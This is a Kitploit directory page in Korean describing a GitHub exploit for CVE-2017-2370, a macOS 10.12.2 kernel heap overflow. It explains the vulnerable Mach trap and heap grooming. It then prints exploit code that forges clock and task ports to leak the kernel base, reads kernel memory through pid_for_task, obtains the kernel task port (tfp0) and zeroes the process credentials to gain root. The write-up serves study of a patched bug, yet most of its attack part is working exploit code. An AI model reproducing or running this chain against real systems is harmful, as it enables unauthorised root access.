Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-2370 — Mac 10.12.2에서 | Kitploit
도구/GitHubGitHub/peterpan0927/cve-2017-2370
Privilege EscalationiOS SecurityMemory ForensicsExploitationInformation GatheringBinary Exploitation
GitHubpeterpan0927/cve-2017-2370

CVE-2017-2370

Mac 10.12.2에서

저장소 보기
2038년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

0x00. 서문

이번 권한 상승은 mach_voucher_extract_attr_recipe_trap에 존재하는 취약점을 이용하며, 공격 방법의 핵심은 MACH_MSG_OOL_PORTS_DESCRIPTOR 메시지를 통한 것입니다.

mach_msg ool에 대해 간단히 설명하면, ool descriptor를 포함한 msg를 보낼 때 커널은 지정된 데이터를 사용자 공간에서 커널 공간으로 복사하며, 대상 task가 메시지를 처리할 때까지 이 데이터를 계속 유지합니다. 마찬가지로 대상 프로세스가 ool descriptor를 포함한 메시지를 수신하면 커널은 데이터를 커널 공간에서 사용자 공간으로 복사합니다(실제 복사가 아닐 수도 있습니다). 따라서 이 기술을 이용해 커널 힙에 데이터를 쓰거나 커널에서 데이터를 읽을 수 있습니다.

이 취약점의 이용은 Trident보다 훨씬 복잡하기 때문에 취약점 발생 지점부터 단계별 이용까지 하나씩 분석했습니다. 코드는 제 github을 참고하면 됩니다.

0x01. 취약점 발생 지점

iOS 10 및 macOS 10.12에 추가된 새로운 기능 중에는 mach_voucher_extract_attr_recipe_trap이라는 함수가 있습니다. 샌드박스 내에서 호출할 수 있는 Mach trap이며, 아래는 이 함수의 소스 코드입니다.

root@kitploit:~
kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }
  1. 분석을 통해 a 지점에서 4바이트 사용자 공간 포인터 args->recipe_size가 sz에 기록된다는 것을 알 수 있습니다.
  2. b 지점에서 sz의 크기가 MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120)와 MACH_VOUCHER_TRAP_STACK_LIMIT (256) 사이에 있으면 sz 값에 따라 커널 힙 버퍼를 할당합니다.
  3. c 지점에서는 사용자 공간의 메모리를 방금 할당된 영역으로 복사하지만, 전달되는 복사 크기는 커널 힙을 할당할 때 사용한 sz가 아니라 사용자 공간 포인터입니다. 따라서 힙 오버플로가 발생하며, 우리는 바로 이 지점을 이용해 공격합니다. 또한 copyin 함수는 unmap된 페이지를 만나면 복사를 중지하는 특징이 있는데, 이 특징은 우리의 poc에서 이용됩니다.

copyin

0x01. 이용 단계

  1. 먼저 힙 공간을 제어할 수 있게 만들어야 합니다. 여기서는 힙 펑수이(heap feng shui) 기법을 사용합니다. freelist 무작위화 이후에는 재할당된 메모리 블록의 위치를 알 수 없기 때문입니다.

mach msg에서 MACH_MSG_OOL_PORTS_DESCRIPTOR가 처리되는 방식부터 살펴보겠습니다. 커널은 복잡한 메시지를 수신했을 때 그것이 ports descriptor임을 확인하면 (ipc_kmsg_copyin에 의해 호출되는) ipc_kmsg_copyin_ool_ports_descriptor 함수에 넘겨 모든 port 객체를 읽습니다. 이 함수는 kalloc을 호출해 필요한 메모리를 할당하고(64비트에서는 입력의 2배 크기, name의 길이는 4바이트), 유효한 port는 name에서 실제 ipc_port 객체 주소로 변환해 저장합니다. 입력이 MACH_PORT_NULL 또는 MACH_PORT_DEAD인 name은 그대로 유지됩니다.

root@kitploit:~
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // 分配空间 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

그래서 공격할 때는 다량의 MACH_PORT_DEAD를 전송하여 메모리 영역을 0xFFFFFFFFFFFFFFFF(MACH_PORT_DEAD)로 채웁니다. 그런 다음 취약점을 트리거하여 그중 하나의 IPC_PORT_DEAD를 공격자가 배치한 메모리 영역으로 변경합니다. 만약 가리키는 영역이 유효한 ipc port 구조체라면, OOL PORTS 메시지를 수신한 후 사용자 공간에서 이 ipc_port에 대응하는 port name을 얻을 수 있어 다음 공격을 진행할 수 있습니다.

힙 펑수이

  1. ipc_object 객체의 구성

먼저 우리는 이미 이 fake port를 얻었습니다. 이제 정보 유출을 진행하려면 커널이 어떤 매개변수에 따라 이 포트를 다르게 처리하는지 알아야 합니다. 먼저 ipc_port 구조체를 살펴보겠습니다.

root@kitploit:~
struct ipc_port {
	//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
	struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; //消息队列
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // port对应的内核对象
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

그중에는 port에 대응하는 커널 객체가 있습니다. 이 ipc_port가 어떤 종류의 커널 객체에 대응하는지는 ipc_object의 속성에 의해 결정됩니다. 따라서 실제로는 ipc_object를 대상으로 구성하게 됩니다.

root@kitploit:~
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11;	//设置port锁处于活动状态,防止死锁

커널은 이 ipc_port를 IKOT_CLOCK 객체와 통신하는 port로 인식합니다. 다음 목표는 커널 베이스 주소를 누출하는 것입니다.

이 ipc_port를 IKOT_CLOCK 객체로 위조한 다음, kdata.kobject 포인터를 커널 주소로 설정합니다. 이 커널 주소를 매번 수정한 후 사용자 공간에서 clock_sleep_trap을 호출하면, 커널 내부에서 port_name_to_clock을 호출해 이 커널 주소를 얻고, 이를 clock 매개변수로 clock_sleep_internal에 전달합니다. 소스 코드는 다음과 같습니다.

root@kitploit:~
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

위 코드에서 clock의 주소가 clock_list[SYSTEM_CLOCK]의 주소가 아니면 KERN_FAILURE를 반환하고, 그렇지 않으면 다른 값을 반환한다는 것을 알 수 있습니다. 따라서 반환된 값을 이용해 반복적으로(kobject 값을 계속 수정하며) KERN_FAILURE가 반환될 때까지 순회하면 커널에서 clock_list[SYSTEM_CLOCK]의 주소를 얻을 수 있습니다. 이 주소는 힙에 있는 것이 아니라 커널의 전역 변수이며 특정 오프셋에 있습니다. 다음 단계는 이 위치에서 시작해 각 페이지의 헤더를 읽어 MH_MAGIC_64, 즉 0xfeedfacf를 찾는 것입니다.

root@kitploit:~
extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};
  1. 커널 임의 주소 읽기

이 주소를 얻은 후에는 객체를 task 타입으로 변환하고 커널 베이스 주소를 찾아야 합니다. 그래야 kslide를 계산하고 이후 tfp0 작업을 진행할 수 있습니다.

root@kitploit:~
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

kobject 주소를 얻어 페이지의 시작 부분으로 이동합니다. Yalu102와 Zheng min의 Poc에서 이 작업의 순서는 다르지만, faketask의 주소도 같은 페이지에 있으므로 결과에는 영향을 주지 않습니다. AND 연산을 한 번 수행하면 항상 페이지 시작 주소를 얻을 수 있기 때문입니다.

root@kitploit:~
uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

그런 다음 무한 루프로 MH_MAGIC_64를 찾고 tfp0 단계를 진행합니다.

root@kitploit:~
while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	//往前一个页面
        leaked_ptr -= 0x4000;
    }

임의 주소 읽기가 가능한 이유는 pid_for_task 함수가 값에 대해 아무런 검증도 하지 않기 때문입니다. 단지 전달된 인자를 주소로 변환해 몇 가지 덧셈/뺄셈 연산만 수행할 뿐입니다.

root@kitploit:~
kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

pid_for_task

  1. tfp0

전체 과정은 커널의 프로세스 연결 리스트를 찾아 순회하면서 자신의 프로세스 주소와 pid0의 주소를 찾는 것입니다. 그런 다음 커널 프로세스에서 kernel task의 주소를 얻고, kernel task에서 itk_sself(kernel task's port)를 가져옵니다. 그다음 kernel task의 정보를 우리가 위조한 ipc port의 정보에 덮어쓰고, fake port가 위조된 kernel task를 가리키게 합니다. kernel task의 bootstrap port를 실제 kernel task의 port로 설정한 뒤, 인터페이스 task_get_special_port를 통해 kernel task의 port를 얻어 임의 주소 읽기/쓰기를 실현하고, 우리 자신의 권한을 로 변경합니다.

root@kitploit:~
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);

pwn

0x02. 참고 링크

  • ool msg
  • project zero
  • zheng min
  • Yalu102
  • 그리고 shrek_wzw의 도움에 감사드립니다.
도구 다운로드
proc
root